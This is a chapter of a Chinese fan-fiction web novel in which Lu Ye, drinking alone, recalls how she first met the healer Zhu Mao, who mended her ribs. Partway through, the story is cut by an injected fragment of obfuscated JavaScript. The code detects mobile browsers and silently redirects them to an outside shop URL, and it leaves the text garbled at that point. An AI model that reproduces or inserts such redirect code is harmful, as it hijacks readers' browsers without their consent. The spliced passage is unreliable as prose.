夜深人静时分,鹿野仍然独自一人坐在关掉灯光的套房客厅里喝酒。


    小黑是需要多睡觉才能长高的小朋友,所以吃饱喝足就道了晚安回去休息。不远处的阳台上那负责指示道路的几盏地面小灯依旧自动亮着,它们在装饰性的阳台花丛里照射出微弱的白光,风里传来了游泳池里若有若无的水声。


    她轻轻摇晃着手中这剩下半罐啤酒,哪怕脚边已经堆放着三四个空瓶了,鹿野的眼神依旧很冷静。


    微醺的感觉历来是很好的,人会变得飘飘然,变得愉快,变得忘却烦恼。


    可今夜不是一个适合微醺的夜晚,所以鹿野没有让自己喝醉,她只是让自己稍微沉浸在那种与酒精做伴的感觉里。


    只有在这个独处的时刻,鹿野才有心情想起刚刚吃饭时师弟小黑问自己的问题。


    【“师父当年是怎么跟师姐认识的呀?”


    “……在路边碰到的。”】


    鹿野不太想多谈当年的拜师之事,但是小猫似乎为这么平淡的回答而不甘心。毕竟鹿野知道几年前的师父为了追捕一个名叫“风息”的妖精和他的同党,惹出了很大的混乱。


    等事件平息后,这只毛茸茸的猫崽就成了无限的“锁门弟子”。


    鹿野当时作为感知组的老大,还帮忙在龙游市全力搜寻过风息的位置。


    她当时就站在一栋高楼的天台上,仰头看着夜幕下飞驰而过的师父满脸决绝无悔地冲进被风息偷走且释放的巨大“领域”里……相当于是无限选择拿命去豁,才抢回来了一个弟子。


    正因为小黑自己的拜师经历非常惊奇坎坷,所以鹿野完全能理解这小孩儿的不甘心。


    ——怎么师姐的拜师故事就那么平淡呢?


    可是鹿野不想提起那段往事,每次想到一次,都像是透着鲜血与热泪的伤疤在撕扯痛觉。


    就算是最好的朋友阿竹,她也只是很简短地提到过一次自己的过往。


    当时她们一起执行一个很艰难的任务,好不容易成功了。


    结果两个人最后不小心掉下一个悬崖去了,还因为山里的特殊雾气导致暂时用不了灵力和其他特殊能力。


    那会儿鹿野的腿也断了一条,一时间很难爬上去,她便建议竹茂先上去找队友进行救援,回头再来救她。


    但是竹茂不放心她所以拒绝了该提议,她选择背着鹿野,硬生生徒手从上百米的悬崖底下爬上来。


    那次阿竹被山岩磨破的手指鲜血在风里滴落,飘落在身后之人的脸上,是热的。


    像是眼泪。


    忍着骨折伤痛的鹿野莫名其妙地就觉得这个时刻能跟这朋友讲一声自己过去的故事。


    哪怕这人事后拿这个当把柄来伤害她,她也认了。


    不过阿竹听完以后也没评价什么,只是咕哝着什么“我算是明白你为什么讨厌战争了”以后,很快又把话题转移到“好羡慕你有个师父啊”这方面。


    “哈?羡慕我?”鹿野差点被逗笑。


    但是阿竹似乎很认真,埋头苦爬,嘴皮子却一如既往地没消停:“对啊,我没师父带着呢,以前都是自己摸索出来的,五十多岁了才找到进会馆的门路。好笑吧?”


    鹿野不觉得好笑,她想了想提议道:“或者你去找大松?我记得他也是【御木系】的妖精。”


    “唉,主要是早就过了那个拜师的年纪,现在我拿他当老爹看的,实在不好意思再跟小妖精们一起上课了。”阿竹背对着她解释这么几句,双手死死抠在半空的悬崖上,呼吸间喘得像头牛。


    所以如今的鹿野也只能对小黑暗暗说一声抱歉,因为她真的不想随便提及关于拜师学艺这个话题。


    但是小黑依旧没有放弃打听八卦的念头,又兴致勃勃地问了个新问题。


    【“好吧……那师姐是怎么跟阿竹姐认识的?”


    “超市里抢特价鸡蛋时认识的。”


    “哈?”


    “你阿竹姐以为我要抢她的鸡蛋来着。”】


    这当然也是骗人的故事咯,这所谓一回生二回熟,鹿野面对师弟已经可以眼睛不眨一下就撒谎。


    因为她去超市一般也不会买特价鸡蛋。


    但是逗小猫真的很好玩。


    其实在最开始,鹿野对竹茂这家伙的第一感知非常不好。


    那时候鹿野从师父无限那里获得了随身金属作为出师礼物,她来到了会馆,自愿成为一名执行者并被分配到感知组作为最普通的基层成员。


    作为感知组的成员,与死神和情报交锋是鹿野的日常工作,长年累月下来难免身体里有一些不起眼的暗伤。再加上鹿野一直很抗拒与他人有过多的肢体接触,导致医师对她的治疗根本没办法进行得太过彻底。


    那年她才三十岁出头,执行完一次任务后疲惫地与队友们返回宿舍驻地的路上,在一个阳光明媚的墙角处看见了一个蹲在太阳底下看书的怪人。


    那人真是太怪了,让鹿野忍不住多瞄了两眼。


    因为此人在认真地看一本名为《现代人体解剖学》的医学书籍,问题是,是拿反了来看。


    ……什么文盲庸医,书都给拿反了。


    鹿野认出对方身上穿着是医疗组的白色制服袍子,知道也是会馆的工作人员,便没太在意地和队友们与这个一看就是在上班时间摸鱼的家伙擦肩而过。


    “嘿,那边白头发的姑娘!”


    那人突然放下手中的医书,目光灼灼地望过来,开口就是吉利话:“你左侧第二根和第三根肋骨之间有一处凝滞的暗伤,正常生活下不会有任何感觉,高强度活动时可能会给你造成麻烦!到时候不要强行运气呼吸,不然你那两根肋骨都会断……总之记得找人帮你疏通活血一下啊!”


    鹿野才不相信这人故弄玄虚的鬼话,她的身体状况如何她还不了解吗?


    更何况她所在的小队就在十分钟前才接受了专业的医师治疗。


    这个摸鱼佬这么一说,岂不是在暗示她的同事并不专业?


    因此鹿野停下脚步,其他队友也跟着停下来看过去,鹿野颇为不悦地问:“你谁啊?”


    “【流石会馆】派来参加今年总馆医疗集中培训学习,实习医师,竹茂。”


    那个蹲在墙边的黑头发医生对鹿野咧嘴一笑,熟门熟路地自我介绍,鹿野却觉得某种寒意不受控制地从脚底板钻上来。


    ——这个人杀过不少人。


    这是鹿野的直觉。


    不然也不会连一个普通笑容都不知不觉地透露出这种森然的寒意。


    一个杀人如麻的实习医生?听起来就非常庸医。


    这里又不是《新三国演义》的世界观,大家都信奉“医死的人越多,医术越高明”这种离谱医学理论。


    “脑子有病!”鹿野没好气地扔下这句话,与队友们一起走远了。


    她甚至还听见竹茂在后头自言自语地嘀咕“她怎么知道我脑子受过伤失忆了”之类的鬼话。


    听得鹿野更不想搭理这种庸医了。


    “这人谁啊?”她问一旁的队友。


    队友毫不在意地挥挥手:“害,估计是哪个名不见经传的小妖精。我前几天刚好听说医疗组的老大在上课时发火,说谁再在集中培训时翘课离开,他就要把这人赶出本次培训活动并且医疗组永不录用。”


    另一个队友凑过来聊天:“没想到说的是竹茂啊。她们草木系妖精就爱闲着没事到处晒太阳。”


    “原来如此,咱们要不要去举报一下这家伙的翘课行为?”


    队友们征求鹿野的意见,他们也不想这个年轻后辈被某些古怪的庸医给缠上。


    鹿野皱眉,却是拒绝了:“没必要。不用搭理这种人,也没必要故意去得罪对方。”


    “好吧,你自己有分寸就行。”


    过了几天后,结束一次新任务的鹿野黑着脸捂住断掉的两根左侧肋骨,在医疗组的驻地宿舍里找到了正准备出门杀鸡的竹茂。


    黑头发的实习医师一手菜刀一手活鸡,惊讶地抬眸看着鹿野,显然没想到这人还会回来找自己。


    “你给我治。”鹿野开门见山地说,“那些医师看得没你准。我相信你。”


    “哦……”竹茂拿刀的手抬起挠挠头,手中的母鸡发出不甘心的咕咕声,“可我得杀鸡诶。”


    鹿野当时有点气恼,难道她的健康在这个医生眼里还不如一只鸡吗?


    于是她咬着牙说道:“等会我帮你杀。”


    “成交,那进来吧。”


    于是被绑缚双腿的母鸡暂时苟活多了一会儿,鹿野跟着这个古怪的庸医进入对方的单人宿舍里,发现这儿到处都郁郁葱葱,阳台上长满了野草和藤蔓等植被。


    不知情的人还以为自己误入大自然树屋了。


    “房间没收拾,有点乱,让你见笑了。”竹茂把菜刀随手放在吃饭的小桌上,“因为我一般也不会在宿舍给病人看诊。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186539|194830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >鹿野没吱声,贸贸然地跑过来在别人的下班时间里要求加班,她也不知道回答什么好。


    竹茂打了个响指,地面上立刻生长出一张由草编织的翠绿椅子,随后她做了个邀请的手势……鹿野只好半信半疑地坐上去,还好,很稳当,这临时家具没有想象中那么脆弱。


    实习医师先去把双手洗干净,走过来卷起衣袖就要来摸她的伤口处开展治疗,但是鹿野面无表情地提出了她的个人忌讳。


    “我历来不喜欢与他人保持肢体接触,你能不触碰我就修复这肋骨的伤势吗?”


    竹茂:“?”


    其实鹿野也知道自己这个要求有点过分,以前也没少被一些医生骂过“你这是不配合治疗”,但她依旧我行我素。


    但是竹茂只是想了一下,伸出手掌,掌心里又生长出了一根绿油油的翠草,像是有活性的触手那样东张西望起来。


    “明白,我理解你的需求了。”竹茂语气温和地说,“用它可以吗?我的手能与它保持同步的感知和释放能力。如果你还是不喜欢,我就再想想别的办法给你修复肋骨。”


    鹿野勉强接受。


    后来混熟了,竹茂才告诉她,那会儿要是她还是拒绝小草方案,这满脸笑容的爽朗医生就要用棍子狠狠地敲她肋骨几下,大力出奇迹,直至敲到好。


    就这样,鹿野坐在这间别人的宿舍里,而那位黑发的草木系医师半跪在她面前,伸出双手,全神贯注地施展治疗能力。


    “其实别的医师本来也应该能看出这个迟滞的,但你不让人家触碰的话,可能就比较隐晦。”竹茂帮自己的前辈和同事们说了句好话。


    鹿野依旧面无表情:“哦。”


    肋骨断伤很快就修复好了,竹茂忽然又问,要不要帮她看看身上还有没有别的地方不舒服。


    鹿野感受了一下新修复的肋骨,毫无异常,甚至呼吸之间比原先还顺畅几分,她便答应了。


    于是那天晚上两人还是没能把那只母鸡给杀掉,一晚上的时间全花在做全身体检和治疗方面了。


    鹿野被治得整个人彻底放松下来,一直打哈欠,脑子缺氧,犯困想睡觉。竹茂也累得满身是汗的,看起来又饿又乏,却从头到尾也没有抱怨过一个字眼。


    “没有一次性给你全部治好,怕你身体遭不住这样的变化,一周后再来一次吧。”竹茂一边用冷水洗脸一边说。


    鹿野默不作声地点点头,她盯着对方背后被汗水打湿的衣服片刻,忽然开口:“出去吃夜宵吧。我请你。”


    “哎呀,这么好?”


    竹茂笑嘻嘻地回头看了她一眼,鹿野这才发现,这是她认识这个怪人以来对方第一次露出这么阳光灿烂且真实无比的笑容。


    两个人就这样出门去吃了顿宵夜,然后各回各家去了。


    一周后,鹿野又找了竹茂一次,完成上次没完成的疗程。


    “好了,都搞定了,你自己感受一下。”竹茂倚在宿舍门口笑呵呵地说,“太晚了,快回去吧。以后少来找我。”


    鹿野本来在活动筋骨的动作顿时停下,目光冷冽而不解地盯着这人:“为什么?”


    这人就这么抗拒结识她?


    “啊?”竹茂反而不解了,“对你们一线战斗人员来说,天天见到医生难道是什么好事吗。”


    鹿野:“……”


    不过竹茂下一秒又咧嘴傻笑,但是笑容里依旧透着那种若有若无的血腥寒意。


    “如果鹿野你闲着没事非要请我吃饭,那还是可以多来找几次的。”


    但是鹿野如今已经不再警惕于那稍显古怪的笑容了,她知道眼前的医生其实人不坏,专业水平也足够。


    “知道了。”鹿野头也不回地离开这间宿舍,扬长而去。


    …………


    ……


    “嗯?没了?”


    套房客厅里,鹿野看着手中空荡荡的啤酒空罐,发现居然在一边回忆乱七八糟的往事一边不知不觉中喝完了这罐。


    她扔掉易拉罐,拿起两罐全新未开的啤酒,站起身慢悠悠地往阳台处走去。


    随着距离阳台大门越近,外头的划水声愈发清晰。


    是的,阿竹现在正在那个阳台泳池里头快乐地游来游去,一会儿仰泳一会儿狗刨的,非常忙碌。


    嗤,这傻子。


    倚在门边的鹿野注视着泳池方向,不自觉地略微笑起来。


    我们怎么就认识那么多年了?